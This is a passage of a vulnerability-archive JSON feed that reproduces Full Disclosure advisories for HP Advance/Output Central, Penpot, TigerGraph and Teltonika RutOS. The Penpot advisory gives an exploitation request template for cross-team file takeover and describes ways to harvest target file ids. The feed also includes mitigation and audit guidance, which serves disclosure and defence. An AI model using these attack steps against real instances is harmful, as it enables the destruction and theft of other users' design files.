extraction","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0415","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/81","automated":true,"contentSha256":"6abfa560810db09d89cd76e3a010e20b4d8e8d790daac9f2480c66bfd9025dfb","evidenceScore":8,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/81","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-24T02:58:19Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:32Z","dateUpdated":"2026-10-02T04:57:32Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0415"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"HP Advance /","vendor":"HP Inc.","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"Joe via Fulldisclosure"}],"descriptions":[{"lang":"en","value":"HP Advance / HP Output Central\n\nCVE-2026-89082, CVE-2026-89083, CVE-2026-89084\n\n================================================================\nSUMMARY\n================================================================\n\nVendor: HP Inc.\nProduct family named by HP: HP Advance\nProducts in HP's update table: HP AC Print & Scan; HP Output Central\nComponents: Drivve SecureScan, MFPsecure\nSeverity: two Critical (9.3), one High (8.8), CVSS 4.0\nConfirmed on: V1R4.0.026\n\nVendor bulletin: HPSBPI04149 / PSR-2026-0126, published 2026-09-16\nResearcher: Joseph Chiarchiaro, https://printoverrun.com\n\n\n\n\n\n\n\n================================================================\n[1] CVE-2026-89082 - 9.3 Critical\nUnauthenticated archive path traversal leading to SYSTEM code execution\n================================================================\n\nVulnerable component: Drivve SecureScan log-viewer web application\nCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\nHP CNA CWE: CWE-94\nResearcher assessment: CWE-22, CWE-306\n\n\n\n\n\n================================================================\n[2] CVE-2026-89083 - 9.3 Critical\nForged-header bypass of a local-only authorization gate\n================================================================\n\nVulnerable component: MFPsecure device-integration SOAP service\nCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:N\nHP CNA CWE: CWE-94\nResearcher assessment: CWE-290, CWE-863\n\n\n\n\n\n\n\n================================================================\n[3] CVE-2026-89084 - 8.8 High\nUnauthenticated .xml file write and deletion as SYSTEM\n================================================================\n\nVulnerable component: MFPsecure device-integration SOAP service\nCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N\nHP CNA CWE: CWE-22\nAdditional researcher assessment: CWE-306\n\n\n\n\n\n================================================================\nAFFECTED VERSIONS AND REMEDIATION\n================================================================\n\nThe underlying behavior for all three findings was confirmed on V1R4.0.026.\n\nHP's security bulletin lists the following updated R4 versions:\n\n- HP AC Print & Scan: V1R4.0.027 or later\n- HP Output Central: V1R4.0.029\n\n\n\n\n\n\n\n\n\n================================================================\nMITIGATION\n================================================================\n\n\n\n\n\nThe affected paths themselves require no authentication.\n\n================================================================\nDISCLOSURE TIMELINE\n================================================================\n\n2026-06-01 Reported to HP PSRT.\n2026-06-24 All three reported root behaviors confirmed on V1R4.0.026.\n\n2026-07-21 HP validated the findings; fixes in progress.\n2026-09-14 CVE assignments and CVSS scores communicated by HP.\n2026-09-16 HP security bulletin and researcher advisories published.\n\n================================================================\nTECHNICAL DETAILS\n================================================================\n\n\n\n\n\n================================================================\nREFERENCES\n================================================================\n\nHP Security Bulletin HPSBPI04149 / PSR-2026-0126:\nhttps://support.hp.com/us-en/document/ish_15646496-15646518-16/hpsbpi04149\n\nCVE-2026-89082:\nhttps://printoverrun.com/disclosures/cve-2026-89082/\nhttps://www.cve.org/CVERecord?id=CVE-2026-89082\n\nCVE-2026-89083:\nhttps://printoverrun.com/disclosures/cve-2026-89083/\nhttps://www.cve.org/CVERecord?id=CVE-2026-89083\n\nCVE-2026-89084:\nhttps://printoverrun.com/disclosures/cve-2026-89084/\nhttps://www.cve.org/CVERecord?id=CVE-2026-89084\n\n================================================================\n\nCVE assignment and CVSS scoring: HP Inc. as CNA.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-22","description":"CWE-22","lang":"en","type":"CWE"},{"cweId":"CWE-290","description":"CWE-290","lang":"en","type":"CWE"},{"cweId":"CWE-306","description":"CWE-306","lang":"en","type":"CWE"},{"cweId":"CWE-863","description":"CWE-863","lang":"en","type":"CWE"},{"cweId":"CWE-94","description":"CWE-94","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:32Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/66"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/66"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://printoverrun.com"},{"url":"https://printoverrun.com/disclosures/cve-2026-89082/"},{"url":"https://printoverrun.com/disclosures/cve-2026-89083/"},{"url":"https://printoverrun.com/disclosures/cve-2026-89084/"},{"url":"https://seclists.org/fulldisclosure/"},{"url":"https://support.hp.com/us-en/document/ish_15646496-15646518-16/hpsbpi04149"},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-89082"},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-89083"},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-89084"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/66"],"discovery":"EXTERNAL"},"title":"HP Advance / Output Central: unauthenticated SYSTEM RCE and two additional vulnerabilities (CVE-2026-89082/89083/89084)","x_gcve":[{"recordType":"reference","relationships":[{"destId":"CVE-2026-89082","type":"related"},{"destId":"CVE-2026-89083","type":"related"},{"destId":"CVE-2026-89084","type":"related"}],"vulnId":"GCVE-1988-2026-0414","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/66","automated":true,"contentSha256":"75c913fd2efa9eb3d96a8cda714ef4654ed992e9b3aa0b7155b60fbfa0d5b5dc","evidenceScore":9,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/66","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-17T06:12:36Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:32Z","dateUpdated":"2026-10-02T04:57:32Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0414"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"(open-source design and prototyping platform, Kaleidos)","vendor":"Penpot","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"Louis Sanchez via Fulldisclosure"}],"descriptions":[{"lang":"en","value":"Posting this as an update rather than a first disclosure. The advisory\nwent public on 2026-08-04 with no vendor fix. Penpot has shipped two\nreleases since then, 2.17.1 and 2.17.2 -- the latter 14 days ago, on\n2026-08-27 -- and I re-checked the code this morning: the missing\npermission check is still missing in both, and in every release before\nthem. It was fixed on develop the day after this advisory went public.\nThat fix has never shipped. Anyone running a released version of\nself-hosted Penpot should know that, so here is the whole thing in one\nmessage.\n\n\nSUMMARY\n=======\n\nPenpot's file-import RPC command takes an optional caller-supplied\nfile-id, meaning \"import into this existing file instead of creating a\nnew one.\" The handler checks that the caller may edit the project they\nnamed -- a project they own, since they supplied it. It never checks\nthat the file-id they supplied belongs to them.\n\nSo any authenticated user can point that parameter at any file on the\ninstance and overwrite it. The same operation also re-parents the file\ninto the attacker's project, which is the part that matters: the\nattacker does not merely destroy the victim's design, they end up owning\nit. On a default install with open self-registration, the attacker needs\nno prior relationship to the target at all.\n\n\nAFFECTED\n========\n\nProduct: Penpot (open-source design and prototyping platform, Kaleidos)\nAffected: 1.20 through 2.17.2, self-hosted Community Edition and\n Penpot Cloud. The in-place file-id parameter was introduced in\n 1.20 -- the handler's own ::doc/changes metadata records\n \"1.20 Add file-id param for in-place import\". The CVE record\n was updated 2026-08-27 to state the range as 1.20 through\n 2.17.1, the same day 2.17.2 shipped; 2.17.2 is also affected\n and is not yet reflected in the record.\nFixed in: nothing released. Fixed on develop, unreleased, since\n 2026-08-05, and present in the 2.18.0 release-candidate line.\n Never backported to a 2.17.x release.\n\nCVE-2026-17613, assigned by CERT/CC as CNA, record state PUBLISHED.\nCWE-639 (Authorization Bypass Through User-Controlled Key), CWE-862\n(Missing Authorization).\n\n\nSTILL UNPATCHED IN EVERY RELEASE -- FIXED ON DEVELOP, NOT SHIPPED\n=================================================================\n\nThe published advisory last verified the flaw at develop HEAD on\n2026-07-27. Penpot has released 2.17.1 and 2.17.2 since then\n(2026-08-17 and 2026-08-27), and 2.17.0 shortly before it (2026-07-22).\nNone of the three fixes it. Verified today, 2026-09-10:\n\n backend/src/app/rpc/commands/binfile.clj @ tag 2.17.2\n\n line 78 (files/check-read-permissions! pool profile-id file-id)\n -- export path, correct check, present\n line 153 (projects/check-edition-permissions! pool profile-id project-id)\n -- import path, checks only the caller's own project\n line 160 (uuid? file-id)\n line 161 (assoc ::bfc/file-id file-id)\n -- import path, the supplied file-id bound unchecked\n\n same file @ develop 37dab75e (2026-09-10T18:29:44Z)\n\n line 88 (files/check-read-permissions! cfg profile-id file-id)\n -- export path, correct check, present\n line 166 (projects/check-edition-permissions! pool profile-id project-id)\n -- import path; file-id is no longer a parameter here at\n all, so there is nothing left to check\n\nThe fix exists. It just has not shipped. The day after this advisory\nwent public, commit 9242556d landed on develop and removed file-id from\nimport-binfile outright -- gone from the schema, from the handler's\ndestructuring, and from the audit props. Commit message: \":bug: Close\nimport-binfile schema and remove file-id parameter (#10994)\". The same\nchange is in the current 2.18.0 release-candidate line (2.18.0-RC5). It\nhas never been backported to a 2.17.x release.\n\nThe 2.17.2 release notes list three bug fixes, one of them a different\nsecurity fix (an SVG-exporter command-injection bug, per the vendor's\nown changelog) -- so the vendor does put security fixes in this line\nwhen it chooses to. This one is not among them. The code above is\nbyte-identical to 2.17.0 (2026-07-22) and 2.17.1 (2026-08-17) -- the\nsame three call sites, the same line numbers, across the last three\nreleases. I am not going to guess why -- I am saying that today, 105\ndays after the report, nobody running a released version of Penpot has\nthe fix that has sat on develop, unreleased, for 36 days.\n\n\nROOT CAUSE\n==========\n\nWhat makes this one worth reading is that the correct check is in the\nsame source file, about seventy lines away, on the other direction of\nthe same feature.\n\nexport-binfile validates read permission on its file-id before handing\nanything back:\n\n (sv/defmethod ::export-binfile\n ...\n [{:keys [::db/pool] :as cfg}\n {:keys [::rpc/profile-id file-id] :as params}]\n (files/check-read-permissions! pool profile-id file-id) ; <-- yes\n (sse/response (partial export-binfile cfg params)))\n\nimport-binfile validates the caller's project and then binds the\ncaller's file-id straight through:\n\n (sv/defmethod ::import-binfile\n ...\n [{:keys [::db/pool] :as cfg}\n {:keys [::rpc/profile-id project-id version file-id upload-id]\n :as params}]\n (projects/check-edition-permissions! pool profile-id project-id)\n (let [...\n cfg (cond-> cfg\n (uuid? file-id)\n (assoc ::bfc/file-id file-id))] ; <-- no check\n ...))\n\nThe permission function exists. It is already imported. It is used\ncorrectly a few dozen lines up. The import path just does not call it.\n\nDownstream, the in-place import fetches the target file by id alone with\nno ownership predicate on the query, enables overwrite mode, writes the\nattacker's content into the victim's file row, and sets that row's\nproject to the attacker's project. The final update is keyed only on the\nattacker-supplied file id.\n\n\nEXPLOITATION\n============\n\nPrerequisite: any authenticated account with a project of its own. On a\ndefault install, self-register.\n\n POST /api/rpc/command/import-binfile\n Cookie: \n Content-Type: multipart/form-data\n\n project-id = ; checked\n file-id = ; NOT checked\n file = \n\nThe obvious objection is that file ids are random UUIDs, so how do you\naim it. In practice they leak through entirely normal use, and two of\nthe three routes require no mistake by the victim:\n\n 1. Public share links. Clicking Share produces a URL with the file id\n in it in plaintext. People send those to clients and contractors\n all day. Whoever holds the link holds the targeting data.\n\n 2. Shared-library enumeration. Any user who has ever linked a shared\n design-system library can read that library's file id from an\n ordinary library-listing call. No error, no audit trail. This is\n the route that reaches an entire organisation's design system\n rather than one file.\n\n 3. Workspace and viewer URLs embed the file id, so it turns up in\n screenshots, support tickets, Slack pastes and screen shares.\n\nOn attack complexity, since it came up during coordination: AC:H is\nmeant for conditions the attacker cannot arrange unilaterally. Receiving\na share link and listing shared libraries are ordinary actions any\naccount can take on its own. Complexity stays Low.\n\n\nIMPACT\n======\n\n - Data destruction. The victim's file contents are replaced with the\n attacker's.\n\n - Persistent takeover. Penpot resolves file permissions by walking\n file -> project -> team. Re-parenting rewrites that lineage, so the\n attacker becomes the legitimate owner in the eyes of every other\n endpoint, free to open, edit, export, duplicate and re-share the\n victim's design. The file vanishes from the victim's project. They\n cannot reach it to attempt a restore.\n\n - Library poisoning. If the hijacked file was a shared design library,\n every file in every other team that syncs from it starts pulling\n attacker-controlled components, colours and typography.\n\n - Cross-team scope. The attacker holds no authorisation on the\n victim's team. The operation moves a resource out of that boundary\n entirely.\n\nDesign files are not low-value data. One file can hold an unreleased\nproduct's whole interface, pre-launch brand and marketing assets, or\nmockups carrying real customer names in placeholder text. Agencies\nroutinely run one instance with a team per client and rely on team\nseparation to keep those clients confidential from each other. That\nassumption does not currently hold.\n\nThe original report also bundled a lower-severity issue with the same\nroot pattern: the realtime WebSocket channel lets a client subscribe to\na file or team topic using a client-supplied id with no permission\ncheck, allowing live exfiltration of collaborative edits and\nshared-library changes for any file whose id you know. Same mistake --\ntrusting a client-supplied identifier without re-checking it. One\ndisciplined patch closes both.\n\n\nON THE SCORE\n============\n\nThe CVE record carries 7.5 High:\n\n CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\nThat is also the number on my own advisory. I publish the assigned score\nrather than mine, because the CVE record is what the ecosystem actually\nconsumes and a mismatched headline number reads as inflation. It is also\nthe number I disagree with, and I would rather argue that in the open\nthan quietly ship a different one.\n\nC:N/I:N describes the vulnerable endpoint honestly enough if you read\nthe operation as \"the victim's file is destroyed.\" But the file is not\ndestroyed. It is moved, intact, into the attacker's project, where they\ncan read and export it. That is a confidentiality loss. Its contents are\nthen attacker-controlled, and if it was a shared library that content\npropagates into other teams' files. That is an integrity loss with a\nblast radius past the original resource. Scoring it A:H only measures\nwhat the victim stopped having, not what the attacker started having.\n\nS:U has the same problem. The operation carries a resource across a team\nboundary the attacker was never authorised for; calling that scope\nunchanged treats Penpot's file store as one undifferentiated pool, which\nis precisely the assumption the product's team model tells customers is\nfalse.\n\nMy pre-assignment score was 9.9. Take that as one researcher's read, not\nas a correction to the record -- but if you are triaging this from the\n7.5 alone, triage the impact section above instead. Worth more than\neither number for that purpose: the CISA ADP Vulnrichment enrichment on\nthe same record carries an SSVC assessment of exploitation\nproof-of-concept, technical impact partial, automatable yes. I wrote the\ngeneral version of this argument up here, alongside the same pattern in\nCVE-2026-16751:\n\n https://vokecyber.com/blog/when-cvss-scores-the-endpoint-not-the-loss\n\n\nMITIGATIONS\n===========\n\nNo fixed release to upgrade to, so, in order of value:\n\n 1. Disable open self-registration. Does not fix the bug. Removes the\n sign-up-and-attack path and takes the score to 6.5, since the\n attacker then needs an account somebody gave them.\n\n 2. Treat every account on the instance as having write access to every\n file on it, and plan accordingly. If you rely on team separation\n for client confidentiality, consider separate instances for\n genuinely sensitive work until this is fixed.\n\n 3. Audit for prior exploitation. Look for file rows whose owning\n project changed with no corresponding user action, and for edits\n written by a profile that is not a member of the file's team. An\n in-place import does not leave a normal change row behind, so the\n signal to chase is a file whose project lineage no longer matches\n the accounts that historically edited it.\n\n 4. Keep backups outs"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-639","description":"CWE-639","lang":"en","type":"CWE"},{"cweId":"CWE-862","description":"CWE-862","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:32Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/47"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/47"},{"url":"https://github.com/penpot/penpot"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://penpot.app/"},{"url":"https://seclists.org/fulldisclosure/"},{"url":"https://vokecyber.com"},{"url":"https://vokecyber.com/blog/cve-2026-17613-penpot-cross-team-file-takeover"},{"url":"https://vokecyber.com/blog/when-cvss-scores-the-endpoint-not-the-loss"},{"url":"https://vokecyber.com/research"},{"url":"https://vokecyber.com/research/cve-2026-17613-penpot-cross-team-file-takeover"},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-17613"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/47"],"discovery":"EXTERNAL"},"title":"CVE-2026-17613: Penpot cross-team file takeover via import-binfile (unpatched in 2.17.2)","x_gcve":[{"recordType":"analysis","relationships":[{"destId":"CVE-2026-16751","type":"related"},{"destId":"CVE-2026-17613","type":"related"}],"vulnId":"GCVE-1988-2026-0413","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/47","automated":true,"contentSha256":"dfb7136b474f69e1d616f18aaa2b95b5cb066a235d2de07ebdadf391f9cd9332","evidenceScore":11,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/47","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-11T02:20:54Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:32Z","dateUpdated":"2026-10-02T04:57:32Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0413"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"Community Edition","vendor":"Tigergraph","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"disclosure via Fulldisclosure"}],"descriptions":[{"lang":"en","value":"0day Rubbish Research Team is publicly disclosing a vulnerability in\nTigerGraph Community Edition 4.2.4.\n\nType: Default credentials plus GSQL TO_CSV arbitrary file write to SSH code execution (CWE-798)\nCVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\nImpact: command execution as the tigergraph service user (uid 1001), which owns the engine, graph data, catalog and \nconfiguration tree\nAuthentication: unauthenticated (shipped default credentials)\n\nFull technical analysis and a reproducible proof-of-concept:\n https://0day-rubbish.com/blog/tigergraph-default-creds-file-write-ssh-rce\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\nVendor has been notified. CVE ID is pending.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-798","description":"CWE-798","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:32Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/64"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/64"},{"url":"https://0day-rubbish.com"},{"url":"https://0day-rubbish.com/blog/tigergraph-default-creds-file-write-ssh-rce"},{"url":"https://github.com/Exploit-Garbage/0day-Rubbish"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/64"],"discovery":"EXTERNAL"},"title":"[0day-rubbish] TigerGraph Community Edition 4.2.4 Default credentials plus GSQL TO_CSV arbitrary file write to SSH code execution (9.8)","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0412","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/64","automated":true,"contentSha256":"68ea5f54d69695ee364f22759ca2b763b530636a9c6d7ce1842797ed2175478b","evidenceScore":10,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/64","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-20T12:19:28Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:32Z","dateUpdated":"2026-10-02T04:57:32Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0412"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"RutOS","vendor":"Teltonika","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"disclosure via Fulldisclosure"}],"descriptions":[{"lang":"en","value":"0day Rubbish Research Team is publicly disclosing a vulnerability in\nTeltonika RutOS 00.07.06.21.\n\nType: Authenticated ipsec.lua logread command injection with reflected output (CWE-78)\nCVSS: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\nImpact: root command execution on the router, with command output reflected into the JSON response\nAuthentication: authenticated administrator\n\nFull technical analysis and a reproducible proof-of-concept:\n https://0day-rubbish.com/blog/teltonika-rutos-ipsec-status-logread-command-injection\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\nVendor has been notified. CVE ID is pending.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-78","description":"CWE-78","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:32Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/63"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/63"},{"url":"https://0day-rubbish.com"},{"url":"https://0day-rubbish.com/blog/teltonika-rutos-ipsec-status-logread-command-injection"},{"url":"https://github.com/Exploit-Garbage/0day-Rubbish"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/63"],"discovery":"EXTERNAL"},"title":"[0day-rubbish] Teltonika RutOS 00.07.06.21 Authenticated ipsec.lua logread command injection with reflected output (8.8)","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0411","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/63","automated":true,"contentSha256":"c305e67a3653931f0a4e2ddcac854c513351233b46cb844a05a35008cc319ae7","evidenceScore":10,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/63","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-20T12:19:12Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:32Z","dateUpdated":"2026-10-02T04:57:32Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0411"},"dataType":"CVE_RECORD","dataVersion":"5.2"}]